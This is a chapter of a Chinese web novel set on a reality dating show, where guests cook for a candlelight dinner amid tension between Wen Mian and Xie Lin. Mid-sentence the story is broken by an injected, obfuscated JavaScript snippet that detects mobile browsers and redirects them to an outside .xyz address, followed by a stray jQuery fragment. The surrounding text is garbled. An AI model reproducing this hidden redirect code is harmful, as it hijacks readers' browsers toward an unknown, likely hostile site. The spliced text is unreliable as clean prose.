次日，温眠被楼下咖啡机的运作声和远处街道的车流声唤醒。
窗外的天光是一种灰蒙蒙的蓝，她没有立刻起身，躺在那里，听楼下隐约传来的走动声。
昨天的记忆碎片逐渐归位——谢凛没有血色的脸，他攥紧的、覆着银灰色绒毛的拳头，还有手机上那条刻意保持距离的回复。
她深吸一口气，将胸腔里滞涩的情绪压下去，才起身洗漱。
下楼时，厨房和开放式餐厅区域已经架设好固定机位。
空气里弥漫着咖啡和烤面包的香气，林远超站在灶台前，动作熟练地翻动着平底锅里的煎蛋，哼着不知名的小调。
霍骁在一旁和面包机“搏斗”，苏蔓则安静地泡着花茶。
花瓣在水中慢慢舒展。
“早啊，温眠姐！”林远超率先看到她，立刻扬起一个笑容，“吃早饭吗，蛋要单面还是双面？”
“早，今天怎么突然想起做早餐了？双面就好，谢谢。”
温眠礼貌回应，刚起床的声音微哑。
她走到桌边给自己倒了杯温水，温热的水流划过喉咙。
扔下面包机的霍骁答道：“远超说是想提前为晚上练练手。”
几人随意聊着天时，谢凛穿着简单的黑色棉质T恤走了下来。
深色的衣服衬得他脸色依然泛白，但神情恢复了那种惯有的冷淡，再也看不出昨天的脆弱。
他无视了众人有意无意聚焦的目光，像是在极力避免大家聊起某些话题，径直走向咖啡机。
夏薇薇像一只轻盈的蝴蝶般凑了过去，带着显而易见的关切：“凛哥，你感觉好点了吗？昨晚真的担心死我们了。”
她今天穿的是一条嫩黄色的及膝连衣裙，裙摆翩跹，与谢凛一身暗色形成鲜明对比。
谢凛接过盛满褐色液体的咖啡杯，只是从喉咙里低低地溢出一个“嗯”字。
连眼神都不愿意多给，便端着杯子走向最靠窗的那个角落坐下。
高大的身影缩在椅子里，用无形的屏障将自己与周遭的热闹彻底隔绝开来。
【不愧是运动员，一早起来就元气满满，看着心情都好！】
【凛凛脸色还是不好啊，好心疼，如果节目组今天能让他好好休息就好了。】
【不行啊，那样薇薇怎么办？她岂不是会非常尴尬。】
沈安娜端着自己的咖啡杯，慢悠悠地踱到同样安静坐在沙发一角的程让旁边。
她用只有两人能听到的音量，带着点玩味的语气低语：“瞧见没，比我这杯doubleespresso还带劲。”
程让抬了抬眼皮，没什么表情地扫过角落里那个孤寂的身影，又垂下眼睫，指尖在身旁自己带下来的吉他弦上无意识拨动了一下，发出一个模糊的音节。
早餐的闲聊略显沉闷，等到后面已经有些刻意。
见气氛快要停滞住，主持人才适时出现，宣布了今天烛光晚餐的具体安排。
晚餐将采用自助餐形式，每组搭档需共同完成至少一道主打菜品用于晚上的分享，并在自己亲手装饰的小桌上享用。
上午和下午都是自由准备时间，期间鼓励嘉宾们交流。
“这能吃饱吗？”
一直没有开过口的陈默低声嘀咕着，旁边的女嘉宾听了，忍不住笑出声。
主持人竟然听力超群地听到了，转过头无奈地解释道：“大家放心，你们做的菜品只是精致的前菜，正餐肯定还是会有厨师负责的，不会让你们饿肚子。”
他们在讨论规则时，温眠却在留意坐在角落的谢凛。
他眉头紧蹙，修长的手指无意识地反复摩挲着白色的陶瓷咖啡杯壁，透出内心的不平静。
状态还没有彻底恢复的时候，这种需要协作和展示的环节，对他而言无疑是种负担。
——
大家各自散开，去找自己的同伴做准备。
温眠和林远超凑在一起商量了一会儿，决定做一道相对简单的香草烤鸡，只求不易出错。
林远超主动包揽了处理鸡肉的活儿，他手起刀落，利落干脆，带着满满的活力和干劲。
温眠则负责准备香草，调配酱料。
她低着头，专注地将新鲜的罗勒和迷迭香切碎，神情认真极了，仿佛这样就能将所有的麻烦也一并切碎理清。
“温眠姐，你看这个腌料浓度够吗？我怕不够入味。”林远超凑过来，手里端着调味碗，带着年轻人特有的直率，热情询问。
温眠用指尖轻轻蘸了一点，尝了尝，点头：“嗯，咸淡刚好，香草的味道也出来了。”
她的回应得体自然，交流如常，眼神却时不时飘向敞开的厨房门外，客厅一角。
在那里，夏薇薇正兴致勃勃地拿起手机，展示着一张张社交媒体上造型繁复的法式甜品照片。
“凛哥，我们做这个好不好？看起来好漂亮！”
声音雀跃，却被谢凛直接打断。
他音调没什么起伏，说出来的话却毫不留情：“我身体刚恢复，可能没法做太复杂的步骤。”
夏薇薇脸上掠过一丝鲜明的失望，但对方的理由合情合理，她又没办法继续坚持，只能同意道：“好吧，其实太难了，我们不会烘焙，确实也不一定能做好。
谢凛冷淡地“嗯”了一声，说：“沙拉和煎牛排吧。”
很无聊的选择，夏薇薇撇了撇嘴。
确定好之后，两个人走向厨房，挤进本来就已经容纳了温眠和林远超的小小地盘。
温眠原本稳稳的手一抖。
但她面色淡然地点头，朝他们示意了一下，就仿佛这种情况再平常不过。
四人背对着背各自忙碌起来，场面一时间竟有些和谐。
林远超不时主动抛出一些话题，一旁认真地洗着蔬菜的夏薇薇会积极回应。
他们两个从天气聊到最近的电影，让气氛不再令人紧张，效果显著。
温眠和谢凛的沉默不再那么突兀。
衣物摩擦而过，肩膀偶尔互相轻轻碰到，勾起温眠好像已经变得遥远的记忆。
刚到别墅的第二天，经历了认知巨震的她，就是在相似的情景下，在同一个地方和谢凛一起面对镜头，隐瞒背后那个共同的秘密。
想到这里，她状似无意地回头，却撞进谢凛望着自己若有所思的视线。
他在出神。
温眠微微一怔，若无其事地收回眼神。
她不知道谢凛那样看了她多少次，为了不被镜头察觉，一次一次地抽空飞快瞄她一眼，再烫到一样弹开。
看她低头认真捣碎香草时，几缕碎发垂落颊边，露出的一小截白皙脖颈，和沉静侧脸。
她今天穿的
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16448549|185209||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
是一件洁白的小衫，散发着新洗过后干净的味道。
整个人站在那里，像一片无暇的初雪。
怕沾染上油渍，她外面套了一层粉色格子围裙，竟衬得清冷的气质多了几分反差的可爱。
谢凛回过味来，意识到自己在想些什么，差点给自己两巴掌。
他猛地哼了一声，像对刚才一闪而过的念头表达不屑，左右脑互搏一样。
反而惹得在交谈的那两个人也小心停下，面面相觑，以为他们聊到什么他不喜欢的话题。
——
其他几组的互动比起这边，则轻松自然许多。
霍骁和那位名叫毕天欣的女嘉宾在审美上很合得来，两人对餐桌装饰都有着极大的热情，正在讨论如何把桌子布置得“既浪漫又别出心裁”，欢笑声不断。
苏蔓和许星文站在在落地窗边低声交流着插花的心得，艺术与理性碰撞，氛围知性而平和。
程让抱着吉他坐在沙发角落，偶尔拨动琴弦寻找灵感，另一名叫做孟诗情的女嘉宾坐在他旁边听着发呆。
沈安娜和陈默这对性格南辕北辙的组合，竟意外和谐。
毒舌女王正抱着手臂，用挑剔的视线“指导”着沉默寡言的程序员，该如何将圣女果和蓝莓有美感地摆盘。
准备过程中，发生了一个小插曲，猝不及防打破了大家的平衡。
盛放新鲜香草的玻璃碗放在壁橱高处，温眠踮起脚，颇为困难地伸手要去取。
她身体微微前倾，但还差一点点距离，重心不稳险些跌倒。
林远超见状，当即放下手中的活，说着“我来”，便要抬手帮忙。
然而，一道身影却比他更快地靠近。
“哐当”一声响动，是刀具落在料理台上。
背后的谢凛不知何时扔下了手中的东西，迈着长腿几两步就跨了过来，仗着绝对的身高优势，轻松就把那个玻璃碗够了下来。
然后，他面无表情地直接递到温眠手边，态度有些强硬，让林远超伸出的手尴尬地僵在了半空。
温眠愣住了，看着突然出现在眼前的玻璃碗，和那只修长的手。
近得她指尖都能感受到他传递过来的、略高于常人的体温。
她垂下眼帘，低声道：“谢谢。”
谢凛没有回应，甚至没有看她一眼，就好像只是完成了一个无需在意的动作。
转身回到自己的操作台前，重新拿起刀具，切起眼前那块被他无情抛下的牛排。
然而，那一瞬间的对峙，却让周遭原本的谈笑都不约而同地安静了几秒。
所有人的目光都有意无意扫过这边。
“这是故意的吧。”霍骁压低声音，悄悄对一旁的几人说道。
沈安娜挑起精心修饰的眉毛，耸耸肩：“谁知道他又抽什么风？”
林远超收回手，摸了摸后脑勺，还是扬起一个笑容打圆场：“还是谢凛哥个子高方便，我也需要踮脚呢。”
只是那笑容里，难免多了几分不易察觉的讪讪。
看得大家都有点于心不忍起来。
温眠低着头，浓密的睫毛遮住了眼底的情绪。
她默默接过谢凛刚刚塞到自己手中的碗，指尖摩挲着玻璃壁，继续之前的工作。
心里却像被投进了一颗小石子，漾开一圈圈无法平息的涟漪。